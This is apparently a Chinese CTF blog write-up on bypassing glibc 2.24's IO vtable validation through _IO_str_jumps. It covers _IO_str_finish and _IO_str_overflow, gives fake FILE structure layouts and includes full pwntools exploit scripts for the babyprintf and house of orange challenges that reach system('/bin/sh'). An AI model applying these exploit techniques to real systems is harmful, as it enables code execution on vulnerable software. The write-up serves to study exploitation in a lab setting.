2.24比2.23在vtable上多了检测,使得2.23的利用手法失效
IO_FILE-2.24对vtable检测绕过、babyprintf、house of orange IO vtable check 2.24引入了一个vtable检测机制IO_validate_vtable
,位于:/libio/libioP.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void _IO_vtable_check (void ) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
当ptr - __start___libc_IO_vtables >= __stop___libc_IO_vtables - __start___libc_IO_vtables
时会调用_IO_vtable_check ()
,否则返回vtable,那看一下 __stop___libc_IO_vtables
和__start___libc_IO_vtables
都是什么
1 2 3 4 pwndbg> p __stop___libc_IO_vtables - 1 $7 = 0x7ffff7dcf627 <_IO_str_chk_jumps+167 > "" pwndbg> p __start___libc_IO_vtables $8 = 0x7ffff7dce8c0 <_IO_helper_jumps> ""
那也就是需要在_IO_helper_jumps~_IO_str_chk_jumps+167
这个地址之内才可以绕过检测,前一篇文章的house of orange最后将vtable劫持到了堆上并不在_IO_helper_jumps~_IO_str_chk_jumps+167
这个地址内,所以在2.24中会利用失败
IO vtable check绕过 前面说到_IO_vtable_check
这个函数,跟进看一下,位于libio/vtables.c
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void attribute_hidden_IO_vtable_check (void ) { #ifdef SHARED void (*flag) (void ) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return ; { Dl_info di; struct link_map *l ; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL ) != 0 && l->l_ns != LM_ID_BASE)) return ; } #else if (__dlopen != NULL ) return ; #endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n" ); }
基本没什么可利用的点
但是还有_IO_str_jumps
以及_IO_wstr_jumps
两个vtable,如果能将vtable设置成_IO_str_jumps
或者_IO_wstr_jumps
那么一样可以调用文件操作函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 pwndbg> p _IO_str_jumps $2 = { __dummy = 0 , __dummy2 = 0 , __finish = 0x7ffff7a89fb0 <_IO_str_finish>, __overflow = 0x7ffff7a89c90 <__GI__IO_str_overflow>, __underflow = 0x7ffff7a89c30 <__GI__IO_str_underflow>, __uflow = 0x7ffff7a88610 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7a89f90 <__GI__IO_str_pbackfail>, __xsputn = 0x7ffff7a88640 <__GI__IO_default_xsputn>, __xsgetn = 0x7ffff7a88720 <__GI__IO_default_xsgetn>, __seekoff = 0x7ffff7a8a0e0 <__GI__IO_str_seekoff>, __seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>, __setbuf = 0x7ffff7a88940 <_IO_default_setbuf>, __sync = 0x7ffff7a88c10 <_IO_default_sync>, __doallocate = 0x7ffff7a88a30 <__GI__IO_default_doallocate>, __read = 0x7ffff7a89ae0 <_IO_default_read>, __write = 0x7ffff7a89af0 <_IO_default_write>, __seek = 0x7ffff7a89ac0 <_IO_default_seek>, __close = 0x7ffff7a88c10 <_IO_default_sync>, __stat = 0x7ffff7a89ad0 <_IO_default_stat>, __showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>, __imbue = 0x7ffff7a89b10 <_IO_default_imbue> } pwndbg> p _IO_wstr_jumps $3 = { __dummy = 0 , __dummy2 = 0 , __finish = 0x7ffff7a80260 <_IO_wstr_finish>, __overflow = 0x7ffff7a80060 <_IO_wstr_overflow>, __underflow = 0x7ffff7a80000 <_IO_wstr_underflow>, __uflow = 0x7ffff7a7ef70 <__GI__IO_wdefault_uflow>, __pbackfail = 0x7ffff7a80240 <_IO_wstr_pbackfail>, __xsputn = 0x7ffff7a7f3c0 <__GI__IO_wdefault_xsputn>, __xsgetn = 0x7ffff7a7f670 <__GI__IO_wdefault_xsgetn>, __seekoff = 0x7ffff7a80510 <_IO_wstr_seekoff>, __seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>, __setbuf = 0x7ffff7a88940 <_IO_default_setbuf>, __sync = 0x7ffff7a88c10 <_IO_default_sync>, __doallocate = 0x7ffff7a7fb40 <__GI__IO_wdefault_doallocate>, __read = 0x7ffff7a89ae0 <_IO_default_read>, __write = 0x7ffff7a89af0 <_IO_default_write>, __seek = 0x7ffff7a89ac0 <_IO_default_seek>, __close = 0x7ffff7a88c10 <_IO_default_sync>, __stat = 0x7ffff7a89ad0 <_IO_default_stat>, __showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>, __imbue = 0x7ffff7a89b10 <_IO_default_imbue> }
_IO_wstr_jumps
的利用要比_IO_str_jumps
难一点,所以通常都是对_IO_str_jumps
的利用
在_IO_str_jumps
中有两个函数的利用空间很大,_IO_str_finish
的函数源码如下,位于/libio/strops.c
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
我们可以发现_IO_str_finish
的函数利用简单
如果将(((_IO_strfile *) fp)->_s._free_buffer)
设置为system_addr,将fp->_IO_buf_base
设置为bin_sh,如果再满足fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)
为真是不是就可以直接getshell了
fp->_IO_buf_base
需要有值,直接设置为bin_sh
fp->_flags & _IO_USER_BUF
为0, _IO_USER_BUF
是1所以_flags
需要设置为0
fp + 0xe8
设置为system
再加上触发_IO_flush_all_lockp
的条件,最后总结如下
fp->_mode
<= 0
fp->_IO_write_ptr
> fp->_IO_write_base
vtable
= _IO_str_jumps - 8
fp->_flags
= 0
fp->_IO_buf_base
= bin_sh
fp + 0xe8
= system_addr
至于为什么把vtable赋值为_IO_str_jumps - 8
,是因为这样调用原先的_IO_overflow
的时候现会调用_IO_str_finish
_IO_str_overflow
的源码如下,位于/libio/strops.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)
可以看到在第107行中存在
1 2 new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
假如我们可以使得(*((_IO_strfile *) fp)->_s._allocate_buffer)
为system_addr,使得new_size
为bin_sh,那么是不是就可以执行`system(“/bin/sh”);来getshell了
首先需要绕过第一个iffp->_flags & _IO_NO_WRITES
为0,所以_flags = 0
,后面也有和_flags&的,只需要将_flags=0
即可
然后要使得第二个if为真 pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)
,其中pos = fp->_IO_write_ptr - fp->_IO_write_base;
,其次#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
,所以有fp->_IO_write_ptr - fp->_IO_write_base > (fp)->_IO_buf_end - (fp)->_IO_buf_base
我们就可以进入(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
这个环节
接着就到(*((_IO_strfile *) fp)->_s._allocate_buffer)(new_size)
了设置正确即可,(*((_IO_strfile *) fp)->_s._allocate_buffer)
这里的偏移是0xe0可以在ida里面看到,这里不多放了
最后总结一下,根本不需要堆地址的泄露即可进行FSOP
1 2 3 4 5 6 _flags=0 _IO_write_base = 0 _IO_write_ptr = (bin_sh -100 ) / 2 +1 _IO_buf_end = (bin_sh -100 ) / 2 _IO_buf_base = 0 fp + 0xe0 = system_addr
babyprintf 比较经典的一道题,2.24下利用_IO_str_jumps
进行vtable绕过
有格式化漏洞,但是开了 FORTIFY: Enabled
,所以格式化漏洞利用(x),可以借助格式化漏洞输出libc
有堆溢出可以直接控制到top_chunk的size和house of orange一样的利用,产生出unsortedbin,并泄露出libc
接着利用unsortedbin attack将IO_FILE
申请到堆这里,然后在堆里布局io
_IO_str_finish
的布局如下
1 2 3 4 5 6 7 8 9 10 11 12 p1 = b' \x00' * 0x200 p2 = p64(0 ) + p64(0x61 ) + p64(0 ) + p64(io_list_all - 0x10 ) p2 += p64(0 ) + p64(1 ) + p64(0 ) p2 += p64(bin_sh) p2 = p2.ljust(0xc0 , b' \x00' ) p2 += p64(0 ) p2 += p64(0 ) *2 p2 += p64(io_str_jumps - 8 ) p2 = p2.ljust(0xe8 , b' \x00' ) p2 += p64(system_addr) p3 = p1 + p2
_IO_str_overflow
的布局如下
1 2 3 4 5 6 7 8 9 10 11 p1 = b' \x00' * 0x200 p2 = p64(0 ) + p64(0x61 ) + p64(0 ) + p64(io_list_all - 0x10 ) p2 += p64(0 ) + p64(bin_sh) p2 += p64(0 ) + p64(0 ) p2 += p64(int ((bin_sh - 100 ) / 2 )) p2 = p2.ljust(0xd8 , b' \x00' ) p2 += p64(io_str_jumps) p2 = p2.ljust(0xe0 , b' \x00' ) p2 += p64(system_addr) p3 = p1 + p2
_IO_str_overflow
需要注意的是奇数问题,exp如下,用的是2.23的libc,因为发现2.24死活拿不到,可能是libc的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './babyprintf' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0 if debug: r = remote() else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def add (size, content ): r.sendlineafter('size: ' , str (size)) r.sendlineafter('string: ' , content) add(32 , '%1$p%2$p%3$p%4$p%5$paaaa%6$p%7$p%8$p' ) r.recvuntil('aaaa' ) r.recvuntil('0x' ) libc_addr = int (r.recv(12 ), 16 ) - 240 li('libc_addr = ' + hex (libc_addr)) libc = ELF('./libc-2.23.so' ) libc_base = libc_addr - libc.sym['__libc_start_main' ] li('libc_base = ' + hex (libc_base)) system_addr = libc_base + libc.sym['system' ] li('system_addr = ' + hex (system_addr)) io_str_jumps = libc_base + 0x3c37a0 io_list_all = libc_base + libc.sym['_IO_list_all' ] li('io_list_all = ' + hex (io_list_all)) bin_sh = libc_base + libc.search(b'/bin/sh\x00' ).__next__() li('bin_sh = ' + hex (bin_sh)) p1 = b'a' * 0x10 + p64(0 ) + p64(0xfb1 ) add(0x10 , p1) add(0x1000 , 'aaaa' ) p1 = b'\x00' * 0x200 p2 = p64(0 ) + p64(0x61 ) + p64(0 ) + p64(io_list_all - 0x10 ) p2 += p64(0 ) + p64(1 ) + p64(0 ) p2 += p64(bin_sh) p2 = p2.ljust(0xc0 , b'\x00' ) p2 += p64(0 ) p2 += p64(0 ) *2 p2 += p64(io_str_jumps - 8 ) p2 = p2.ljust(0xe8 , b'\x00' ) p2 += p64(system_addr) ''' p1 = b'\x00' * 0x200 p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10) p2 += p64(0) + p64(bin_sh) p2 += p64(0) + p64(0) p2 += p64(int((bin_sh - 100) / 2)) p2 = p2.ljust(0xd8, b'\x00') p2 += p64(io_str_jumps) p2 = p2.ljust(0xe0, b'\x00') p2 += p64(system_addr) ''' p3 = p1 + p2 add(0x200 , p3) r.sendlineafter('size: ' , '1' ) r.interactive()
到现在可以发现并没有用到堆地址,这是一种无堆地址利用手法
house of ornage 直接用上面的调用链即可攻击成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import * context (arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 0 if debug: r = remote() else : r = process(file_name) elf = ELF(file_name) def dbg(): gdb.attach(r) menu = 'Your choice : ' def add(size, name, price): r.sendlineafter(menu, '1' ) r.sendlineafter('Length of name :' , str(size)) r.sendafter('Name :' , name) r.sendlineafter('Price of Orange:' , str(price)) r.sendlineafter('Color of Orange:' , '1' ) def show(): r.sendlineafter(menu, '2' ) def edit(size, name, price): r.sendlineafter(menu, '3' ) r.sendlineafter('Length of name :' , str(size)) r.sendafter('Name:' , name) r.sendlineafter('Price of Orange: ' ,str(price)) r.sendlineafter('Color of Orange: ' ,'1' ) add(0x10 , 'aaaaa' , 0x20 ) p1 = p64(0 ) * 3 + p64(0x21 ) + p64(0 ) * 3 + p64(0xfa1 ) edit(0xff , p1, 0x20 ) add(0x1000 , 'aaaaa' , 0x20 ) add(0x400 , 'a' * 8 , 0x20 ) show() malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b' \x00' )) - 1640 - 0x10 li('malloc_hook = ' + hex(malloc_hook)) libc = ELF('./libc-2.23.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] li('libc_base = ' + hex(libc_base)) system_addr = libc_base + libc.sym['system' ] li('system_addr = ' + hex(system_addr)) io_list_all = libc_base + libc.sym["_IO_list_all" ] li('io_list_all = ' + hex(io_list_all)) edit(0x10 , 'a' * 0x10 , 0x20 ) show() r.recvuntil('a' * 0x10 ) heap_addr = u64(r.recvuntil('\n' ).strip().ljust(8 , b' \x00' )) li('heap_addr = ' + hex(heap_addr)) bin_sh = libc_base + libc.search(b' /bin/sh\x00' ).__next__() io_str_jumps = libc_base + 0x3c37a0 p1 = p64(system_addr) * 4 + b' \x00' * 0x400 p2 = p64(0 ) + p64(0x61 ) + p64(0 ) + p64(io_list_all - 0x10 ) p2 += p64(0 ) + p64(1 ) + p64(0 ) p2 += p64(bin_sh) p2 = p2.ljust(0xc0 , b' \x00' ) p2 += p64(0 ) p2 += p64(0 ) *2 p2 += p64(io_str_jumps - 8 ) p2 = p2.ljust(0xe8 , b' \x00' ) p2 += p64(system_addr) p3 = p1 + p2 edit(len(p3), p3, 0x20 ) r.sendlineafter(menu, '1' ) r.interactive()
总结 笔者学到了无堆地址的利用,对vtable绕过利用,读源码很重要